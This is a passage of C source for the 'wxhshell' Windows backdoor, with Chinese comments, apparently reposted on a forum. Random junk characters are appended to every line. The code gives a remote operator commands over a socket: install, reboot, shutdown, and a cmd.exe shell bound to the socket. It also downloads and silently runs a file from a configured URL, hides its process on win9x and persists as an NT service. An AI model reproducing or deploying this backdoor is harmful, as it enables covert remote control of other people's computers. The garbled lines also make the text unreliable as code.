  send(wsh,msg_ws_err,strlen(msg_ws_err),0); N:G]wsh  
  else ?mMM{{%(.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FNGa4  
  } UfW=/T  
  else { ]9!y3"..W{  
SIK:0>yK"  
    switch(cmd[0]) { 0E\#!L  
  pq*e0uW  
  // 帮助  O_ _s~  
  case '?': { V x#M!os0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (KI9j7  
    break; K6{wM  
  } &C'^YF_^0  
  // 安装 bvD}N<>3N  
  case 'i': { Z+B*V )a=  
    if(Install()) %9YY \a {  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "#)|WVa=BM  
    else /xX7:U b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Na@bXcz)  
    break; Z?P^Y%ls  
    } jCY~Wc  
  // 卸载 +~n:*\  
  case 'r': { 9]Jv >_W*  
    if(Uninstall()) #7;?Ls  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e5mu-  
    else <^s31.&p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $yU 5WEX  
    break; Zk`y"[J  
    } =A!oLe$%  
  // 显示 wxhshell 所在路径 ~vTwuc\(H  
  case 'p': { eEXNEgbn  
    char svExeFile[MAX_PATH]; cB&_':F  
    strcpy(svExeFile,"\n\r"); -9vNV:c  
      strcat(svExeFile,ExeFile); B/X$ZQ0  
        send(wsh,svExeFile,strlen(svExeFile),0); RUY7Y?  
    break; O=__w *<  
    } ")KqPD6k  
  // 重启 eb7UA=[Z  
  case 'b': { &G2&OFAr]q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k"#gSCW$  
    if(Boot(REBOOT)) 4?Y7. :x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aEdA'>  
    else { f2~Aug  
    closesocket(wsh); <T>s;b  
    ExitThread(0); MK3h~`is  
    } nlpEkq  
    break; VL)<u"d4  
    } H!*ypJ  
  // 关机 U/'l"N[  
  case 'd': { G^B> C  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); RB4n>&Y  
    if(Boot(SHUTDOWN)) .I_atv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7"eK<qJ  
    else { 89>}`:xS^  
    closesocket(wsh); af<h2 r  
    ExitThread(0); np2&W'C/i  
    } p2Khfl6-  
    break; }$i"t8"s  
    } mr7Oi `dE  
  // 获取shell D>k(#vYKB  
  case 's': { XQ~Xls%]   
    CmdShell(wsh); z~2{`pET  
    closesocket(wsh); W=HvMD  
    ExitThread(0); XaCvBQ  
    break; u xyj6(  
  } 7c"Csq/]I  
  // 退出 R'sNMWM  
  case 'x': { .@): Uh  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Dtd~}-_Q  
    CloseIt(wsh); 6):1U  
    break; N!ihj:,  
    } LEM%B??&5z  
  // 离开 ?98!2:'{9  
  case 'q': {  2d*bF.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~AjPa}@ f  
    closesocket(wsh); /4O))}TX  
    WSACleanup(); fY^CI b$Y  
    exit(1); M(L6PyEa!Y  
    break; # bHkI~  
        } !p$p 7   
  } _<RTes  
  } I?Iz5e-  
?L\"qz%gP  
  // 提示信息 6=n|Ha  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0g30nr)  
} f I=G>[  
  } s! 2[zJ19p  
hZfj$|<  
  return; ]y.V#,6e  
} G@/iK/>5|`  
\dCGu~bT  
// shell模块句柄 #f"eZAQ {  
int CmdShell(SOCKET sock) z'l HL  
{ ~;9n6U  
STARTUPINFO si; |K_%]1*riC  
ZeroMemory(&si,sizeof(si)); 0Xb\w^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uGz)Vz&3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4GP?t4][  
PROCESS_INFORMATION ProcessInfo; |dQz(z&6{5  
char cmdline[]="cmd"; !-t w  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _{c_z*rM8  
  return 0; ?fH1?Z\'K  
} O|sk "YXF  
O)`L( x  
// 自身启动模式 :+6W%B  
int StartFromService(void) hlL$3.]  
{  FkrXM!mJ  
typedef struct h,FU5iK|  
{ +rU{-`dy9'  
  DWORD ExitStatus; oc)`hg2=  
  DWORD PebBaseAddress; 1N(#4mE=  
  DWORD AffinityMask; hYpxkco"4'  
  DWORD BasePriority; QOEi.b8r  
  ULONG UniqueProcessId; `bBkPH}M  
  ULONG InheritedFromUniqueProcessId; zYV{ |Z  
}   PROCESS_BASIC_INFORMATION; 61Cc? a*_  
/i8OyRpSyk  
PROCNTQSIP NtQueryInformationProcess; b 9rQQS  
&V1d"";SZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vD@|]@gq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }xC2~  
G+N1#0,q  
  HANDLE             hProcess; V<#KFm$>C  
  PROCESS_BASIC_INFORMATION pbi; Hmr f\(x  
)M dddz4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !.,J;Qt  
  if(NULL == hInst ) return 0; tkZUjQIX  
<L8|Wz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8<"g&+T  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZeuL*c \  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); joskKik^  
W]/J]O6  
  if (!NtQueryInformationProcess) return 0; ;*Vnwt A  
qdI%v#'M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _!1LV[x!s  
  if(!hProcess) return 0; F}{%*EJ  
( jU $  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ymxA<bICS8  
BW)-F (v   
  CloseHandle(hProcess); 1s(T#jh  
g ptf*^s  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xjr4')h  
if(hProcess==NULL) return 0; :+DrV\)  
SI~jM:S}  
HMODULE hMod; jbipNgxkr  
char procName[255]; vN^.MR+<  
unsigned long cbNeeded; V3ht:>c9qs  
~D3 S01ecM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s>o#Ob@4'  
)KE  
  CloseHandle(hProcess); &*>.u8:r  
^O*-|ecA  
if(strstr(procName,"services")) return 1; // 以服务启动 tnobqL'  
iGSJ\  
  return 0; // 注册表启动 V5(_7b#z``  
} FA*$ dwp  
P 9yMf~  
// 主模块 %Zk6K!MY#  
int StartWxhshell(LPSTR lpCmdLine) OJpfiZ@Q_  
{ [TOo 9W  
  SOCKET wsl; chL1r9V)v  
BOOL val=TRUE; pp"#pl  
  int port=0; ]uox ^HC  
  struct sockaddr_in door; pZ'q_Oux  
\"(?k>]E  
  if(wscfg.ws_autoins) Install(); iGhvQmd(/*  
e:Y+-C5  
port=atoi(lpCmdLine); vQLYWRXiA  
uX1;  
if(port<=0) port=wscfg.ws_port; ]Z5m_-I  
R?iCJ5m  
  WSADATA data; Qz(2Iu{E]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c+3`hVV  
QO}~"lMj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q~nVbj?c2v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ':pDlUA  
  door.sin_family = AF_INET; ns>$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); A .&c>{B7  
  door.sin_port = htons(port); w@^J.7h^  
?)-6~p 4N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Mc.{I"c@  
closesocket(wsl); |gI>Sp%Fu  
return 1; pFS@yHs  
} **%&|9He  
$x'jf?zs!  
  if(listen(wsl,2) == INVALID_SOCKET) { pL1ABvBB  
closesocket(wsl); Rb:H3zh  
return 1; x3cjyu<K  
} rQ{|0+l  
  Wxhshell(wsl); zA9q`ePS  
  WSACleanup(); : |s;2Y  
C33Jzn's  
return 0; 4,LS08&gh  
`z'8"s  
} (|<S%?}J  
fX`u"`o5  
// 以NT服务方式启动 AuQ|CXG-\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4Y?2u  
{ 5kw  K%  
DWORD   status = 0; zN!W_2W*  
  DWORD   specificError = 0xfffffff; [@lK[7 u  
6:G&x<{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; GKIzU^f  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n7bVL#Sq[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9JP:wE~y  
  serviceStatus.dwWin32ExitCode     = 0; X1(ds*'Kv  
  serviceStatus.dwServiceSpecificExitCode = 0; Gt#r$.]W?o  
  serviceStatus.dwCheckPoint       = 0; y\^zxG*]'  
  serviceStatus.dwWaitHint       = 0; bK%F_v3'  
[<f2h-V$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N62;@Z\7  
  if (hServiceStatusHandle==0) return; ]|g2V a~-  
n{!{,s  
status = GetLastError(); 39 }e }W"  
  if (status!=NO_ERROR) G,!jP2S  
{ "<0!S~]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bs|gQZG  
    serviceStatus.dwCheckPoint       = 0; DQY1oM)D !  
    serviceStatus.dwWaitHint       = 0; .zZfP+Q]8  
    serviceStatus.dwWin32ExitCode     = status; gGvL6Fu  
    serviceStatus.dwServiceSpecificExitCode = specificError; qY8; k #  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >KuNHuHu  
    return; n~6$CQ5dF(  
  } -lJ|x>PG'  
&mN]U<N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;>Z+b#C[  
  serviceStatus.dwCheckPoint       = 0; y_Lnk=Q ^  
  serviceStatus.dwWaitHint       = 0; n )X%&_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]2m=lt1  
} NW6;7nWb  
gS<p~LPf  
// 处理NT服务事件,比如:启动、停止 tRU/[?!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >97YK =  
{ []@@  
switch(fdwControl) y`zdI_!7  
{ u W,J5!  
case SERVICE_CONTROL_STOP: sZ=!*tb-  
  serviceStatus.dwWin32ExitCode = 0; 0x~+=GUN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o(e(| k {  
  serviceStatus.dwCheckPoint   = 0; _'cB<9P  
  serviceStatus.dwWaitHint     = 0; mH$`)i8  
  { h81giY]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VgXT4gO!  
  } .) tQ&2  
  return; xMk>r1Ud  
case SERVICE_CONTROL_PAUSE: c\ZI 5&4jT  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X[?fU&  
  break; }Y7P2W+4?  
case SERVICE_CONTROL_CONTINUE: cZN<}n+q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h!dij^bD  
  break; 17'd~-lE  
case SERVICE_CONTROL_INTERROGATE: t8RtJ2;  
  break; eg*aVb  
}; X$;x2mz nM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]Y]]X[@  
} (enr{1  
bMc[0  
// 标准应用程序主函数 !:\0}w$-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ef*Z;HI0  
{ Y`22DFO  
;v]C8}L^  
// 获取操作系统版本 ROTKK8:+:  
OsIsNt=GetOsVer(); FFZ?-sE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [O\ )R[J  
iuWUr?`\  
  // 从命令行安装  cRK Lyb  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0Md.3kY  
% m6qL  
  // 下载执行文件 '~ B2[  
if(wscfg.ws_downexe) { vWmt<E|e  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K@n-#  
  WinExec(wscfg.ws_filenam,SW_HIDE); m#WXZr  
} 02EX_tt),  
Yz2N(g[  
if(!OsIsNt) { =A,T:!}'  
// 如果时win9x,隐藏进程并且设置为注册表启动 L=;T$4+p  
HideProc(); FUSe!f  
StartWxhshell(lpCmdLine); ^(  
} $'CS/U`E}  
else r ts2Jk7f  
  if(StartFromService()) <=|^\r !}&  
  // 以服务方式启动 8cZ[Kl%  
  StartServiceCtrlDispatcher(DispatchTable); FP&Ykx~  
else lGahwn:  
  // 普通方式启动 O6$,J1 2l  
  StartWxhshell(lpCmdLine); ,k.")  
j{FRD8]V  
return 0; 7)D[}UXz  
}
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只看该作者 1 发表于: 2006-10-10
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